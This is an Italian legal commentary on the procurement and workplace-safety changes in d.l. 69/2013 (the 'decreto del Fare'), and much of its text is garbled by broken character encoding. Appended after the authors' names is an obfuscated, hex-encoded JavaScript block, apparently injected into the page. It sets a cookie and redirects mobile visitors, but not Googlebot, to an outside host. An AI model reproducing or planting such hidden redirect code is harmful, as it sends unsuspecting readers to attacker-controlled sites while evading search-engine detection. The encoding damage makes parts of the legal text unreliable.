A�Rafforzamento dell’obbligo di suddivisione degli appalti in lotti funzionali; proroga dell’esclusione automatica delle offerte anomale negli appalti sotto soglia; semplificazione della disciplina del DURC; reintroduzione dell’istituto dell’anticipazione del prezzo contrattuale nei lavori pubblici; precisazione in materia di DUVRI; sottrazione del costo del personale dal a�?prezzo piA? bassoa�?. Sono questi i titoli delle principaliA�novitA� introdotte dal decreto del a�?Farea�? in materia di contratti pubblici e di sicurezza negli appalti di servizi e forniture (d.l. 21 giugno 2013, n. 69, convertito dalla legge n. 98/2013).

Un solo sottotitolo comune a tutte le novitA�: diversi istituti subiscono continue modificazioni alla ricerca di una difficile semplificazione e della riduzione dei tempi delle procedure degli appalti pubblici.

Le modifiche al Codice dei contratti pubblici n. 163/2006 e, fra la��altro, la��articolo 26,A� iA� commiA� 3A� eA� 3-bisA� D.lgs A�9 aprile 2008 n. 81, riguardano in sintesi:

  1. la suddivisione degli appalti in lotti funzionali, salvo la possibilitA� di motivare nella determinazione a contrattare la��esigenza di accorpamento in un unico lotto (art. 26 bis del d.l. 69/2013);
  2. la proroga dell’esclusione automatica delle offerte anomale per i contratti sotto soglia (art. 26, comma 2, del d.l. n. 69/2013);
  3. la reintroduzione dell’anticipazione del prezzo contrattuale per i lavori pubblici fino al 31 dicembre 2014 (art. 26 ter del d.l. 69/2013);
  4. la semplificazione della disciplina del documento di regolaritA� contributivaA� – DURC (art. 31), con ampliamento del termine di validitA�, possibilitA� di utilizzo per piA? fasi del procedimento contrattuale e per commesse diverse;
  5. alcune precisazioni delle cause di esclusione della��obbligo del documento unico di valutazione dei rischi da interferenzeDUVRI (art. 32, comma 1);
  6. la definizione del concetto di a�?prezzo piA? bassoa�? (art. 32, comma 7 bis).

Suddivisione in lotti funzionali

Coma��A? noto, la��art. 2, comma 1 bis, del Codice dei contratti pubblici prevede che, nel rispetto dellaA� disciplinaA� comunitariaA� inA� materiaA� di appalti, al fine di favorire l’accesso delle piccole e medie imprese,A� le stazioni appaltanti devono,A�A� oveA�A� possibileA� ed economicamenteA� conveniente,A� suddividereA� gli appaltiA� inA� lotti funzionali.

La suddivisione A? subordinata al rispetto della normativa comunitaria in materia di appalti.

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Prima di avviare la progettazione, la stazione appaltante deve valutare:

a) la possibilitA� tecnica di suddividere la��intervento in piA? lotti;

b) la convenienza economica della suddivisione.

Detto diversamente, la��appalto unico, non suddiviso in lotti, A? la soluzione per la realizzazione dell’intervento solo se la suddivisione in lotti funzionali risulta tecnicamente non attuabile o economicamente sconveniente: A? questo un principio valido per tutti i contratti, anche per quelli cosiddetti esclusi, in tutto o in parte, dall’applicazione delle regole puntuali del Codice.

L’articolo 26 – bis, del decreto n. 69 rafforza ulteriormente il suddetto principio della suddivisione in lotti, con la previsione dell’obbligo di specificare nella determinazione a contrarre i motivi a�?in merito alla mancata suddivisione in lottia�?.A� La mancata motivazione sul punto costituirebbe violazione dell’art. 3 della legge n. 241, mentre l’insufficienza o l’incoerenza, la contraddittorietA�, ecc dei motivi sulla mancata suddivisione in lotti dell’intervento potrebbe costituire sintomo di eccesso di potere, vizio tipico degli atti amministrativi.

La suddivisione in lotti diventa, quindi, la regola, la��appalto unico la��eccezione, da motivare nella determinazione a contrattare di cui all’ art. 11, comma 1, del Codice dei contratti (per gli enti locali, anche art. 191 del Tuel).

E’ introdotto, quinid, per le determinazioni a contrattare da assumere dal 21 agosto 2013, un obbligo motivazionale ulteriore:A� la��atto deve circostanziare le ragioni per le quali non si segue il criterio della suddivisione in lotti.

Il principio della suddivisione in lotti viene ribadito anche in altre due disposizioni dell’art. 26 bis del decreto legge n. 69:

-A� la prima al comma 2,A� l’integrazione della previsione contenuta all’articolo 6, comma 5 del Codice dei contratti pubblici, introduce nel catalogo dei principi, la cui osservanza deve essere garantita dall’AutoritA� di vigilanza sui contratti pubblici, quello della tutela delle piccole e medie imprese attraverso adeguata suddivisione degli affidamenti in lotti funzionali;

-A� la��altra al comma 3, con l’inclusione tra i dati relativi ai contratti di importo superiore a 50.000 euro da inviare all’Osservatorio presso l’AutoritA�, anche della alla specificazione sulla suddivisione o meno in lotti dell’appalto.

Offerte anomale

L’articolo 26, comma 2, del decreto legge in esame proroga al 31 dicembre 2015 il termine entro il quale le stazioni appaltanti possono procedere all’esclusione automatica delle offerte anomale per i contratti di importo inferiore alla soglia comunitaria.

Il termine originario del 31 dicembre 2013 era contenuto al comma 20 – bis dell’articolo 253 del codice dei contratti, che, nell’ammettere la procedura di esclusione automatica disciplinata dagli articoli 122, comma 9 e 124, comma 8, fa appunto riferimento indistintamente a tutti contratti sottosoglia, e non solo a quelli rientranti nei limiti di importo indicati dalle suddette norme (un milione di euro per i lavori e 100.000 euro per servizi e forniture).

In sostanza, mentre a regime il meccanismo di esclusione automatica varrA� solo per i contratti di importo piA? contenuto, fino al 31 dicembre 2015 esso potrA� invece operare per tutti i contratti sotto soglia comunitaria.

Anticipazione del prezzo nei lavori pubblici

Ea�� obbligatorio per le pubbliche amministrazioni appaltanti, dal 21 agosto scorso, data di entrata in vigore della legge di conversione del decreto del a�?Farea�?, pagare un’anticipazione pari al 10 per cento dell’importo contrattuale (art. 26 ter del 21 giugno 2013, n. 69, introdotto dalla legge n. 98/2013).

La��obbligo riguarda solo gli appalti relativi a lavori affidati con gare bandite dopo il 21 agosto scorso.

La corresponsione in favore dell’appaltatore della��anticipazione deve essere prevista nel bando di gara (con procedura aperta, ristretta, o negoziata con bando), o nella lettera da��invito alla gara con procedura negoziata (o mediante cottimo nel sistema dei lavori in economia).

Trovano applicazione le disposizioni di cui articoli 124, commi 1 e 2, e 140, commi 2 eA� 3,A� delA� regolamentoA� di esecuzione e di attuazione del Codice approvato con d.P.R. 5 ottobre 2010, n. 207:

  1. garanzia: l’erogazione dell’anticipazione A? subordinata alla costituzioneA� diA� garanziaA� fideiussoria bancaria o assicurativa di importo pari all’anticipazioneA� maggiorato del tasso di interesse legaleA� applicatoA� alA� periodoA� necessarioA� al recupero dell’anticipazioneA� stessaA� secondoA� ilA� cronoprogrammaA� dei lavori;
  2. svincolo garanzia: l’importo della suddetta garanzia A? gradualmente ed automaticamente ridotto nel corso dei lavori, inA� rapportoA� alA� progressivoA� recupero dell’anticipazione;
  3. pagamento: la��anticipazione deve essere pagata all’esecutore entro quindici giorni dalla data di effettivoA� inizioA� deiA� lavoriA�A� accertataA�A� dalA�A� responsabile del procedimento, con obbligo, in caso di ritardo, di corrispondere anche gli interessi corrispettivi ai sensi dell’art. 1282 codice civile;
  4. decadenza: se l’esecuzioneA� dei lavori non procedeA� secondoA� iA� tempiA� contrattuali, la��esecutore deve restituire la��anticipazione maggiorata degli interessi corrispettiviA� alA� tassoA� legale decorrenti dalla data di erogazione della anticipazione stessa.

La��istituto della��anticipazione contrattuale A? stato reintrodotto per tutti i bandi fino al 31 dicembre 2014.

La��art. 26 ter in esame disciplina l’istituto dell’anticipazione contrattuale in due ipotesi specifiche:

a)A�A� contratti di appalto relativiA� aA� lavoriA� diA� durata pluriennale: in questo caso, l’anticipazioneA� vaA� compensataA� finoA� allaA� concorrenza dell’importo suiA� pagamentiA� effettuatiA� nelA� corsoA� delA� primoA� anno contabile;

A�b) contrattiA� sottoscrittiA� nelA� corsoA� dell’ultimo trimestre dell’anno: l’anticipazione e’A� effettuataA� nelA� primoA� mese dell’anno successivo ed e’ compensata nelA� corsoA� delA� medesimoA� anno contabile.

Documento unico di regolaritA� contributiva DURC

Come A? noto, il DURC A? l’attestazione dell’assolvimento, da parte dell’impresa, degli obblighi legislativi e contrattuali nei confronti di INPS, INAIL e Cassa Edile.

Il decreto del a�?Farea�? ha introdotto alcune semplificazioni alla��art. 26 bis cheA� riguardano, fra l’altro, le fasi contrattuali per le quali il DURC deve essere acquisito, la��ampliamento della sua validitA� temporale, la��acquisizione nel caso di subappalto.

Le novitA�, nello specifico, comportano:

-A�A� la possibilitA� di rilasciare il DURC in presenza di una certificazione che attesti la sussistenza e la��importo di crediti certi, liquidi ed esigibili vantati nei confronti delle pubbliche amministrazioni di importo almeno pari agli oneri contributivi accertati e non ancora versati da parte di un medesimo soggetto, (tale possibilitA� era prima prevista solo per i benefici normativi e contributivi);

-A�A� la conferma dell’obbligo di acquisizione da��ufficio del DURC da parte della stazione appaltante, giA� previstoA� dalla��art. 16 bis, comma10, D.L. n. 185/2008 (conv. da L. n. 2/2009), in modo specifico per le ipotesi di cui all’art. 38, comma 3 (verifica autodichiarazione su accertamenti sulle cause di esclusione), eA� 118, comma 6 (pagamenti resi nell’ambito dell’appalto o subappalto) del Codice dei contratti;

-A�A� la fissazione della validitA� del DURC in giorni 120 (e non 180 come prevedevaA� il testo originario del decreto legge n. 69);

-A�A� l’utilizzo di un unico DURC in corso di validitA� per piA? fasi raggruppati in tre momenti/tipologie: (a) la verifica dell’autodichiarazione sulla regolaritA� contributiva; aggiudicazione del contratto; stipulazione del contratto; (b) pagamento stati di avanzamento; certificato di collaudo o di regolare esecuzione o (per forniture e servizi) di verifica di conformitA�; (c)A� pagamento del saldo;

-A�A�A� la possibilitA� di utilizzare il DURC in corso di validitA� anche per contratti pubblici di lavori, servizi e forniture diversi da quelli per i quali A? stato espressamente acquisito;

-A�A�A� la previsione del c.d. a�?preavviso di accertamento negativoa�?, che impone agli Enti coinvolti nel rilascio del DURC, prima della��emissione o della��annullamento del Documento, di invitare la��interessato a regolarizzare la propria posizione assegnando, a tal fine, un termine non superiore a 15 giorni (conferma quanto previsto dalla��art. 7, comma 3, del D.M. 24 ottobre 2007).

Sul DURC si segnala la recente A�circolare ML n. 36/2013 – DURC – D.L. n. 69/2013.

Come comunicato il 23 agosto 2013 dalla��INPS, la trasmissione del DURC alla stazione appaltante/amministrazione procedente, alle SOA e alle imprese, deve avvenire, dal 2 settembre scorso, esclusivamente in formato elettronico via pec.

Questa scelta A? coerente con il Codice della��Amministrazione Digitale (CAD), secondo cui le comunicazioni tra la Pubblica amministrazione e le imprese a�� relative a presentazione di istanze, dichiarazioni, dati e scambio di informazioni e documenti a�� debbono essere eseguite esclusivamente utilizzando le tecnologie della��informazione e della comunicazione (art. 5 bis D.Lgs 82/2005,A� con le modalitA� definite dal DPCM 22 luglio 2011).

Documento unico di valutazione dei rischi da interferenze (DUVRI)

Coma��A? noto, il DUVRI deve essere elaborato se un’impresa esterna interviene nell’unitA� produttiva per effettuare lavori di manutenzione o impiantare cantieri temporanei non soggetti all’obbligo di stesura del Piano di sicurezza e coordinamento, in conformitA� a quanto disposto dal dall’art. 26 del D.Lgs. 81/2008 (corretto dal D.Lgs. 106/2009), secondo cui a�?Il datore di lavoro committente promuove la cooperazione ed il coordinamento di cui al comma 2, elaborando un unico documento di valutazione dei rischi che indichi le misure adottate per eliminare o, ove ciA? non A? possibile, ridurre al minimo i rischi da interferenzea�?.

La��articolo 32, comma 1 lett. a), del d.l. 69 prevede, in tema di Duvri, la possibilitA�, nei settori a basso rischio infortuni, che il datore di lavoro possa indicare un addetto di adeguata preparazione per seguire, in vece sua, il coordinamento con le altre imprese.

Dispone come i dati inclusi nel Duvri debbano restare a disposizione solo del rappresentante dei lavoratori e delle organizzazioni sindacali dei lavoratori comparativamente piA? rappresentative a livello nazionale.

Il Duvri deve essere allegato al contratto di appalto o di opera e deve essere adeguato in funzione dell’evoluzione dei lavori, servizi e forniture. Dell’individuazione dell’incaricato o della sua sostituzione deve essere data immediata evidenza nel contratto di appalto o di opera.

Le suddette disposizioni non si applicano ai rischi specifici propri dell’attivitA� delle imprese appaltatrici o dei singoli lavoratori autonomi.

Nell’ambito di applicazione del Codice dei contratti, tale documento A? redatto, ai fini dell’affidamento del contratto, dal soggetto titolare del potere decisionale e di spesa relativo alla gestione dello specifico appalto.

Dopo le modifiche introdotte dal decreto n. 69/2013, il Duvri non A? piA? obbligatorio per servizi intellettuali, per le mere forniture di materiali o attrezzature, per lavori e servizi la cui durata non A? superiore a cinque uomini-A�giorno, purchA� escluse da rischio incendi, ambienti confinati, o agenti chimici o biologici potenzialmente dannosi.

Sul DUVRI, si rinvia anche alla determinazione n. 3/2008 della��Avcp.

Definizione del prezzo piA? basso

La��articolo 32, comma 7-bis, integra la��articolo 82 del Codice dei contratti pubblici con una nuova definizione del prezzo piA? basso

Il nuovo comma 3-bis della��articolo 82 stabilisce, in particolare, che il prezzo piA? basso A? determinato al netto delle spese relative al costo del personale. E precisa che il costo deve essere valutato sulla base

– dei minimi salariali definiti dalla contrattazione collettiva nazionale di settore tra le organizzazioni sindacali dei lavoratori e le organizzazioni dei datori di lavoro comparativamente piA? rappresentative sul piano nazionale;

– delle voci retributive previste dalla contrattazione integrativa di secondo livello;

– delle misure di adempimento alle disposizioni in materia di salute e sicurezza nei luoghi di lavoro.

Giuseppe Panassidi a�� Stefano Pozzervar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}


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